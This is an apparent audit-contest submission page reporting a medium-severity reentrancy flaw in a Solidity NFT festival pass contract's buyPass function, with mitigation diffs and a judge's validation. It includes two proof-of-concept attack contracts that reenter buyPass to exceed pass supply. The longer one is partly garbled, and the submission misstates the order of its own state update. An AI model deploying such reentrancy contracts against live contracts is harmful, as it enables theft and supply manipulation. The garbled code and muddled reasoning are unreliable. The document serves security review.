Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy risk in the `buyPass` function

Root + Impact

Description

  • A user sends ETH to purchase a pass, the state is updated, and any BEAT bonus is minted

  • State passSupply occurs after an external call to the BEAT token, allowing a malicious token contract to reenter.

// Mint 1 pass to buyer
_mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
// ... external call to BEAT
BeatToken(beatToken).mint(msg.sender, bonus);
emit PassPurchased(msg.sender, collectionId);
@> // state increment after external interaction

The buyPass function performs an external call to BeatToken(beatToken).mint(...) before fully finalizing internal state consistency and completing execution.

If the beatToken contract is malicious, upgradeable, or replaced with a compromised implementation, its mint function could reenter buyPass during execution.

Risk

Likelihood:

  • External mint occurs every purchase; a compromised or malicious BEAT contract would trigger reentry.

  • Developers may later upgrade the BEAT token without realizing the dependency.

While not directly exploitable by arbitrary users, the attack surface exists whenever an untrusted contract is invoked.

Impact:

  • Attacker could mint multiple passes or steal ETH/BEAT by manipulating supply counters.

  • Supply accounting becomes inconsistent, opening up denial-of-service for legitimate buyers.

This can compromise core protocol invariants and economic assumptions.

Proof of Concept

Because buyPass performs an external call to beatToken without reentrancy protection, a malicious token can reenter the function and execute purchase logic multiple times within a single transaction.

contract MaliciousToken {
FestivalPass public fp;
constructor(address _fp) {
fp = FestivalPass(_fp);
}
function mint(address to, uint256 amount) external {
// Reenter purchase
fp.buyPass{value: fp.passPrice(1)}(1);
}
}

Recommended Mitigation

// Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId];
+ emit PassPurchased(msg.sender, collectionId); // emit before interactions
+ _mint(msg.sender, collectionId, 1, "");
// VIP gets 5 BEAT welcome bonus ...
if (bonus > 0) {
// Mint BEAT tokens to the buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
- emit PassPurchased(msg.sender, collectionId);

Move external interaction after all state updates and validations, and ensure no logic remains afterward. Follow CEI.
Also, importing and using nonReentrant ReentrancyGuard from OpenZeppelin is safer.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!